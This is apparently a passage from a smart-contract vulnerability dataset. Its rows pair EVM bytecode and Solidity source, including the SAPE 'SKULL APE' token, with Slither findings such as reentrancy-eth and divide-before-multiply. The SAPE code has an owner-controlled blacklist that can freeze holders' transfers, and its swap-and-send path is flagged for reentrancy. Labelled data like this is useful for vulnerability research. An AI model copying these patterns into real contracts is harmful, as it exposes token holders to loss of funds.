25576001600160a01b03831660009081526004602052604090206008810154600f546009830154600790930154919290916201518064ffffffffff90921642039190910402816115ce57fe5b04039150808260046000866001600160a01b03166001600160a01b0316815260200190815260200160002060080154011115611625576001600160a01b038316600090815260046020526040902060080154810391505b915091565b611632612012565b6000546001600160a01b03908116911614611682576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b60209081526000928352604080842090915290825290205481565b6001600160a01b031660009081526004602052604090206002810154600a820154600b830154600c90930154919390929190565b6001546001600160a01b031690565b611734612012565b6000546001600160a01b03908116911614611784576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b61140e6120be565b600a601f919091020490565b6000546001600160a01b031690565b60095481565b600d5481565b60085464ffffffffff1681565b600460208190526000918252604090912080546001820154600283015460038401549484015460058501546006860154600787015460088801546009890154600a8a0154600b8b0154600c909b0154999b6001600160a01b039099169a97999697959694959394929364ffffffffff909216929091908d565b61184161229d565b61184961229d565b60005b60075460ff821610156119035760ff81166000908152600c60205260409020546001600160a01b031661187e57611903565b60ff81166000818152600c60205260409020546001600160a01b0316908490600481106118a757fe5b6001600160a01b03928316602091820292909201919091526009546000908152600b8252604080822060ff8616808452600c85528284205490951683529092522054908390600481106118f657fe5b602002015260010161184c565b509091565b6005818154811061191557fe5b600091825260209091200154905081565b6002546001600160a01b031690565b600681815481106114ba57fe5b600c602052600090815260409020546001600160a01b031681565b611965612012565b6000546001600160a01b039081169116146119b5576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b61140e611d7f565b6119c5612012565b6000546001600160a01b03908116911614611a15576040805162461bcd60e51b815260206004820181905260248201526000805160206122e2833981519152604482015290519081900360640190fd5b6001600160a01b038116611a5a5760405162461bcd60e51b81526004018080602001828103825260268152602001806122bc6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600354600160a01b900460ff1615611b07576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b611b11338261214c565b611b1b3334610887565b50565b600a8054601483040190556001600160a01b038281166000908152600460205260409020600101541680611b5257506113aa565b6009546000908152600b602090815260408083206001600160a01b038516845290915281208054840190555b60075460ff82161015611d795760ff81166000908152600c60205260409020546001600160a01b0383811691161415611bb657611d79565b60ff81166000908152600c60205260409020546001600160a01b0316611c065760ff81166000908152600c6020526040902080546001600160a01b0319166001600160a01b038416179055611d79565b6009546000908152600b6020908152604080832060ff85168452600c8352818420546001600160a01b0390811685529252808320549185168352909120541115611d7157600181015b60075460ff82161015611ce35760ff81166000908152600c60205260409020546001600160a01b0384811691161415611cdb57805b60075460ff821611611cd55760ff600182018181166000908152600c6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b03909216919091179055611c84565b50611ce3565b600101611c4f565b50600754600019015b8160ff168160ff161115611d405760ff60001982018181166000908152600c6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b03909216919091179055611cec565b5060ff81166000908152600c6020526040902080546001600160a01b0319166001600160a01b038416179055611d79565b600101611b7e565b50505050565b6008805464ffffffffff19164264ffffffffff16179055600980546001019055600a80540460005b60075460ff82161015611ea35760ff81166000908152600c60205260409020546001600160a01b0316611dd957611ea3565b6000606460078360ff1681548110611ded57fe5b60009182526020918290209181049091015460ff601f9092166101000a900416840281611e1657fe5b60ff84166000818152600c6020818152604080842080546001600160a01b03908116865260048452828620600501805499909804988901909755600a8054899003905594909352908152915481518581529151949550909216927fdbdfa5cb8586917247fbe7178cf53555d199e091a14b06f7de5a182ece2d453a9281900390910190a250600101611da7565b5060005b60075460ff821610156113aa5760ff81166000908152600c6020526040902080546001600160a01b0319169055600101611ea7565b6001600160a01b03808316600090815260046020526040812060010154909116905b60065460ff82161015611d79576001600160a01b038216611f1e57611d79565b6001600160a01b03821660009081526004602052604090206002015460ff600183011611611fe9576000606460068360ff1681548110611f5a57fe5b60009182526020918290209181049091015460ff601f9092166101000a900416850281611f8357fe5b6001600160a01b03808616600081815260046020908152604091829020600601805496909504958601909455805185815290519495509189169390927f16e746f9be6c4b545700b04df27afb9fceabf59b94ef1c816e78a435059fabea928290030190a3505b6001600160a01b0391821660009081526004602052604090206001908101549092169101611efe565b3390565b600354600160a01b900460ff1661206b576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6003805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6120a1612012565b604080516001600160a01b039092168252519081900360200190a1565b600354600160a01b900460ff1615612110576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6003805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586120a1612012565b6001600160a01b03828116600090815260046020526040902060010154161580156121895750816001600160a01b0316816001600160a01b031614155b80156121d857506001600160a01b03811660009081526004602052604090206009015464ffffffffff161515806121d857506121c3611798565b6001600160a01b0316816001600160a01b0316145b156113aa576001600160a01b03828116600081815260046020526040808220600190810180546001600160a01b031916958716958617905584835281832060020180549091019055517f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf6419190a360005b60065460ff82161015610d60576001600160a01b03821661226857610d60565b6001600160a01b039182166000908152600460205260409020600c810180546001908101909155908101549092169101612248565b6040518060800160405280600490602082028036833750919291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122037cf34f843d197cef9ebbfd464ab8446246f09bca443adeffcbc92dabfdede3d64736f6c63430006080033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 631 |
0xbac642e8baef094dbe57875cce43a0662dcdf79b | // SPDX-License-Identifier: UNLICENSED
//https://t.me/skullapeportal
// The awesome Skull Apes was originally an ordinary APE deliberated by Caesar's army. Having become a confidant of Caesar during the war between human race and Ape, Skull Apes gained ambitions to become the superior Ape, leading it to test the version of the Ape’s Super skull soldier on itself, resulting with him becoming hideously disfigured as well as gaining the name of Skull Apes.
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "SKULL APE";
string private constant _symbol = "SAPE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x4A3c1658481DBa8683f396A8460035350Aec72F2);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/2;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610345578063c3c8cd8014610365578063c9567bf91461037a578063dbe8272c1461038f578063dc1052e2146103af578063dd62ed3e146103cf57600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610310578063a9059cbb1461032557600080fd5b8063273123b7116100f2578063273123b714610215578063313ce5671461023557806346df33b7146102515780636fc3eaec1461027157806370a082311461028657600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae5780631bbae6e0146101d357806323b872dd146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268534b554c4c2041504560b81b60208201525b6040516101759190611949565b60405180910390f35b34801561018a57600080fd5b5061019e6101993660046117d0565b610415565b6040519015158152602001610175565b3480156101ba57600080fd5b50678ac7230489e800005b604051908152602001610175565b3480156101df57600080fd5b506101f36101ee366004611902565b61042c565b005b34801561020157600080fd5b5061019e61021036600461178f565b610478565b34801561022157600080fd5b506101f361023036600461171c565b6104e1565b34801561024157600080fd5b5060405160098152602001610175565b34801561025d57600080fd5b506101f361026c3660046118c8565b61052c565b34801561027d57600080fd5b506101f3610574565b34801561029257600080fd5b506101c56102a136600461171c565b6105a8565b3480156102b257600080fd5b506101f36105ca565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102ef57600080fd5b506040805180820190915260048152635341504560e01b6020820152610168565b34801561031c57600080fd5b506101f361063e565b34801561033157600080fd5b5061019e6103403660046117d0565b61087d565b34801561035157600080fd5b506101f36103603660046117fc565b61088a565b34801561037157600080fd5b506101f3610920565b34801561038657600080fd5b506101f3610960565b34801561039b57600080fd5b506101f36103aa366004611902565b610b27565b3480156103bb57600080fd5b506101f36103ca366004611902565b610b5f565b3480156103db57600080fd5b506101c56103ea366004611756565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610422338484610b97565b5060015b92915050565b6000546001600160a01b0316331461045f5760405162461bcd60e51b81526004016104569061199e565b60405180910390fd5b6702c68af0bb1400008111156104755760108190555b50565b6000610485848484610cbb565b6104d784336104d285604051806060016040528060288152602001611b35602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff0565b610b97565b5060019392505050565b6000546001600160a01b0316331461050b5760405162461bcd60e51b81526004016104569061199e565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105565760405162461bcd60e51b81526004016104569061199e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059e5760405162461bcd60e51b81526004016104569061199e565b476104758161102a565b6001600160a01b03811660009081526002602052604081205461042690611064565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016104569061199e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106685760405162461bcd60e51b81526004016104569061199e565b600f54600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610456565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072257600080fd5b505afa158015610736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075a9190611739565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107da9190611739565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082257600080fd5b505af1158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a9190611739565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610422338484610cbb565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016104569061199e565b60005b815181101561091c576001600660008484815181106108d8576108d8611ae5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091481611ab4565b9150506108b7565b5050565b6000546001600160a01b0316331461094a5760405162461bcd60e51b81526004016104569061199e565b6000610955306105a8565b9050610475816110e8565b6000546001600160a01b0316331461098a5760405162461bcd60e51b81526004016104569061199e565b600e546109aa9030906001600160a01b0316678ac7230489e80000610b97565b600e546001600160a01b031663f305d71947306109c6816105a8565b6000806109db6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3e57600080fd5b505af1158015610a52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a77919061191b565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aef57600080fd5b505af1158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047591906118e5565b6000546001600160a01b03163314610b515760405162461bcd60e51b81526004016104569061199e565b600c81101561047557600b55565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016104569061199e565b600c81101561047557600c55565b6001600160a01b038316610bf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610456565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610456565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610456565b6001600160a01b038216610d815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610456565b60008111610de35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610456565b6001600160a01b03831660009081526006602052604090205460ff1615610e0957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4b57506001600160a01b03821660009081526005602052604090205460ff16155b15610fe0576000600955600c54600a55600f546001600160a01b038481169116148015610e865750600e546001600160a01b03838116911614155b8015610eab57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec05750600f54600160b81b900460ff165b15610eed576000610ed0836105a8565b601054909150610ee08383611271565b1115610eeb57600080fd5b505b600f546001600160a01b038381169116148015610f185750600e546001600160a01b03848116911614155b8015610f3d57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4e576000600955600b54600a555b6000610f59306105a8565b600f54909150600160a81b900460ff16158015610f845750600f546001600160a01b03858116911614155b8015610f995750600f54600160b01b900460ff165b15610fde576000610fab600283611a5c565b9050610fb78183611a9d565b9150610fc2816112d0565b610fcb826110e8565b478015610fdb57610fdb4761102a565b50505b505b610feb838383611306565b505050565b600081848411156110145760405162461bcd60e51b81526004016104569190611949565b5060006110218486611a9d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091c573d6000803e3d6000fd5b60006007548211156110cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610456565b60006110d5611311565b90506110e18382611334565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113057611130611ae5565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118457600080fd5b505afa158015611198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bc9190611739565b816001815181106111cf576111cf611ae5565b6001600160a01b039283166020918202929092010152600e546111f59130911684610b97565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122e9085906000908690309042906004016119d3565b600060405180830381600087803b15801561124857600080fd5b505af115801561125c573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061127e8385611a44565b9050838110156110e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610456565b600f805460ff60a81b1916600160a81b17905580156112f6576112f63061dead83610cbb565b50600f805460ff60a81b19169055565b610feb838383611376565b600080600061131e61146d565b909250905061132d8282611334565b9250505090565b60006110e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ad565b600080600080600080611388876114db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ba9087611538565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113e99086611271565b6001600160a01b03891660009081526002602052604090205561140b8161157a565b61141584836115c4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161145a91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006114888282611334565b8210156114a457505060075492678ac7230489e8000092509050565b90939092509050565b600081836114ce5760405162461bcd60e51b81526004016104569190611949565b5060006110218486611a5c565b60008060008060008060008060006114f88a600954600a546115e8565b9250925092506000611508611311565b9050600080600061151b8e87878761163d565b919e509c509a509598509396509194505050505091939550919395565b60006110e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff0565b6000611584611311565b90506000611592838361168d565b306000908152600260205260409020549091506115af9082611271565b30600090815260026020526040902055505050565b6007546115d19083611538565b6007556008546115e19082611271565b6008555050565b600080808061160260646115fc898961168d565b90611334565b9050600061161560646115fc8a8961168d565b9050600061162d826116278b86611538565b90611538565b9992985090965090945050505050565b600080808061164c888661168d565b9050600061165a888761168d565b90506000611668888861168d565b9050600061167a826116278686611538565b939b939a50919850919650505050505050565b60008261169c57506000610426565b60006116a88385611a7e565b9050826116b58583611a5c565b146110e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610456565b803561171781611b11565b919050565b60006020828403121561172e57600080fd5b81356110e181611b11565b60006020828403121561174b57600080fd5b81516110e181611b11565b6000806040838503121561176957600080fd5b823561177481611b11565b9150602083013561178481611b11565b809150509250929050565b6000806000606084860312156117a457600080fd5b83356117af81611b11565b925060208401356117bf81611b11565b929592945050506040919091013590565b600080604083850312156117e357600080fd5b82356117ee81611b11565b946020939093013593505050565b6000602080838503121561180f57600080fd5b823567ffffffffffffffff8082111561182757600080fd5b818501915085601f83011261183b57600080fd5b81358181111561184d5761184d611afb565b8060051b604051601f19603f8301168101818110858211171561187257611872611afb565b604052828152858101935084860182860187018a101561189157600080fd5b600095505b838610156118bb576118a78161170c565b855260019590950194938601938601611896565b5098975050505050505050565b6000602082840312156118da57600080fd5b81356110e181611b26565b6000602082840312156118f757600080fd5b81516110e181611b26565b60006020828403121561191457600080fd5b5035919050565b60008060006060848603121561193057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119765785810183015185820160400152820161195a565b81811115611988576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a235784516001600160a01b0316835293830193918301916001016119fe565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a5757611a57611acf565b500190565b600082611a7957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a9857611a98611acf565b500290565b600082821015611aaf57611aaf611acf565b500390565b6000600019821415611ac857611ac8611acf565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047557600080fd5b801515811461047557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122030ce2a093464a38b1589f2bb7ee9124e493ac913a180171ba345a17fc1feb59364736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 632 |
0x593bfea9977e455ee7163b1eaf3c5872ce3c0ecd | /**
*Submitted for verification at Etherscan.io on 2021-12-08
*/
// SPDX-License-Identifier: MIT
/**
* https://crypterium.com/
* Get your free wallet for Bitcoin or other 19 cryptocurrencies. Simply buy BTC, ETH and other crypto with your bank card, or instantly get your own free Visa card to withdraw worldwide. Earn interest, exchange on the best rates and stay safe with banking class security.
